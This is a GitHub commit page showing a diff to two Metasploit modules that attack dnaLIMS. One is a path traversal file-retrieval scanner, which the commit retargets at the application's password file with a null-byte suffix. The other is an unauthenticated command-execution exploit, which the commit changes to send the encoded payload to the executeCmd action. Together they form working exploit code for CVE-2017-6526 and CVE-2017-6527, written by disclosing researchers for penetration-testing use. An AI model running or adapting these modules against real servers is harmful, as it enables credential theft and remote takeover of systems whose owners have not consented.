Skip to content

Commit a767139

Browse files
Merge pull request #3 from h00die/flakeydna
dnalims
2 parents 0ab3ad8 + fd5345a commit a767139

File tree

2 files changed

+15
-21
lines changed

2 files changed

+15
-21
lines changed

modules/exploits/linux/http/dnalims_file_retrieve.rb renamed to modules/auxiliary/scanner/http/dnalims_file_retrieve.rb

Lines changed: 9 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,11 @@
1-
2-
31
##
42
# This module requires Metasploit: http://metasploit.com/download
53
# Current source: https://github.com/rapid7/metasploit-framework
64
##
75

86
require 'msf/core'
97

10-
class MetasploitModule < Msf::Exploit::Remote
11-
Rank = ExcellentRanking
8+
class MetasploitModule < Msf::Auxiliary
129

1310
include Msf::Auxiliary::Scanner
1411
include Msf::Auxiliary::Report
@@ -24,14 +21,14 @@ def initialize(info = {})
2421
},
2522
'References' =>
2623
[
27-
['CVE', '2017-6527']
28-
['US-CERT-VU', '929263']
24+
['CVE', '2017-6527'],
25+
['US-CERT-VU', '929263'],
2926
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
3027
],
3128
'Author' =>
3229
[
33-
'h00die', # Discovery, PoC
34-
'flakey_biscuit' # Discovery, PoC
30+
'h00die <[email protected]>', # Discovery, PoC
31+
'flakey_biscuit <[email protected]>' # Discovery, PoC
3532
],
3633
'License' => MSF_LICENSE,
3734
'DisclosureDate' => "Mar 8 2017"
@@ -40,8 +37,8 @@ def initialize(info = {})
4037
register_options(
4138
[
4239
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),
43-
OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']),
44-
OptInt.new('DEPTH', [true, 'The max traversal depth', 11])
40+
OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app
41+
OptInt.new('DEPTH', [true, 'The traversal depth', 4])
4542
], self.class)
4643

4744
deregister_options('RHOST')
@@ -57,7 +54,7 @@ def run_host(ip)
5754
print_status("Requesting: #{file} - #{rhost}")
5855
res = send_request_cgi({
5956
'uri' => "#{base}/viewAppletFsa.cgi",
60-
'vars_get' => { 'secID' => "#{traverse}#{file}",
57+
'vars_get' => { 'secID' => "#{traverse}#{file}%00",
6158
'Action' => 'blast',
6259
'hidenav' => '1'
6360
}
@@ -68,14 +65,13 @@ def run_host(ip)
6865
return
6966
end
7067

71-
7268
if res.code != 200
7369
print_error("Server returned a non-200 response (body will not be saved):")
7470
print_line(res.to_s)
7571
return
7672
end
7773

78-
vprint_line(res.body)
74+
vprint_good(res.body)
7975
p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
8076
print_good("File saved as: #{p}")
8177
end

modules/exploits/linux/http/dnalims_admin_exec.rb

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
2-
31
##
42
# This module requires Metasploit: http://metasploit.com/download
53
# Current source: https://github.com/rapid7/metasploit-framework
@@ -18,18 +16,18 @@ def initialize(info = {})
1816
'Description' => %q{
1917
This module utilizes an administrative module which allows for
2018
command execution. This page is completely unprotected from any
21-
authentication when given a POST command.
19+
authentication when given a POST request.
2220
},
2321
'Author' =>
2422
[
25-
'h00die <mike@stcyrsecurity.com>', # Discovery, PoC
26-
'flakey_biscuit' # Discovery, PoC
23+
'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
24+
'flakey_biscuit <[email protected]>' # Discovery, PoC
2725
],
2826
'License' => MSF_LICENSE,
2927
'References' =>
3028
[
31-
['CVE', '2017-6526']
32-
['US-CERT-VU', '929263']
29+
['CVE', '2017-6526'],
30+
['US-CERT-VU', '929263'],
3331
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
3432
],
3533
'Platform' => %w( linux unix ),
@@ -96,7 +94,7 @@ def exploit
9694
'username' => '',
9795
'navUserName' => '',
9896
'Action' => 'executeCmd',
99-
'executeCmdData' => 'ls',
97+
'executeCmdData' => payload.encoded,
10098
}
10199
)
102100
vprint_good(res.body)

0 commit comments

Comments
 (0)